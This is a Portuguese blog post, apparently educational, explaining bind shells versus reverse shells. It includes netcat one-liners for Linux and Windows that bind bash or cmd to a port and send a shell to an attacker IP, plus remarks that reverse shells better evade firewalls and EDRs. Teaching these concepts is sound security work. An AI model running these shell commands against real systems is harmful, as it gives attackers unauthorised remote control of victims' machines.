Diferença entre reverse e bind shell
- Gustavo Viana
- Segurança ofensiva
- 16 de setembro de 2024
Neste post, vamos explorar as diferenças entre o reverse shell e o bind shell, seus funcionamentos e casos de uso. Ambos são métodos que permitem a execução de comandos em um sistema remoto, mas funcionam de maneiras distintas.
O que é uma Shell?
Antes de falarmos das diferenças, é importante entender o que é uma shell: é uma interface que permite ao usuário interagir com o sistema operacional através de comandos. Uma shell remota permite que um usuário execute comandos em um sistema que não está fisicamente presente.
Bind Shell
Em uma bind shell, o sistema alvo abre uma porta e fica escutando conexões. Neste contexto, a máquina da vítima torna-se um “servidor” que aguarda conexões. O atacante então se conecta a essa porta para obter acesso à shell do sistema. Em outras palavras, o sistema comprometido “liga” (bind) a shell a uma porta específica e aguarda uma conexão.
Veja abaixo uma representação gráfica de bind shell.
Exemplo de Bind Shell com netcat
Antes de tudo, precisamos configurar o listener na máquina da vítima:
- Linux
- Windows
nc -lvnp 8080 -e bash
nc.exe -lvnp 8080 -e cmd
Agora, vamos conectar-se ao host da vítima a partir da máquina atacante. No exemplo abaixo, o IP da vítima é 192.168.100.100:
- Linux
- Windows
nc 192.168.100.100 8080
nc.exe 192.168.100.100 8080
Reverse Shell
Na reverse shell, é o sistema da vítima que inicia a conexão com o atacante. O sistema comprometido abre uma conexão de saída para o sistema do atacante, permitindo que este obtenha acesso à shell. Neste contexto, a máquina do atacante torna-se um “servidor” que aguarda conexões. A máquina da vítima então conecta-se ao servidor, entregando uma shell.
Veja abaixo uma representação gráfica de reverse shell.
Exemplo de reverse shell com netcat
Antes de tudo, precisamos configurar o listener na máquina atacante:
- Linux
- Windows
nc -lvnp 8080
nc.exe -lvnp 8080
Agora, vamos conectar-se ao host do atacante a partir da máquina da vítima. No exemplo abaixo, o IP do atacante é 192.168.200.200:
- Linux
- Windows
nc 192.168.200.200 8080 -e bash
nc.exe 192.168.200.200 8080 -e cmd
Principais Diferenças
Característica | Bind Shell | Reverse Shell |
---|---|---|
Iniciação da Conexão | Sistema da vítima inicia a escuta | Sistema da vítima inicia a conexão |
Tipo de Conexão | Atacante se conecta a vítima | Vítima se conecta ao atacante |
Firewalls | Pode ser bloqueada caso o firewall esteja bem configurado | Menos provável ser bloqueada pois faz conexões de saída |
EDRs | Mais suscetível a ser detectado pois abre uma porta | Menos suscetível a ser detecado |
Conclusão
Entender as diferenças entre reverse shell e bind shell é fundamental para profissionais de segurança da informação e administradores de sistemas. Ficou claro que a técnica de reverse shell possui mais vantagens em relação ao bind shell, uma vez que o bind shell pode ser mais facilmente detectados e bloqueados por sistemas de defesa.
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !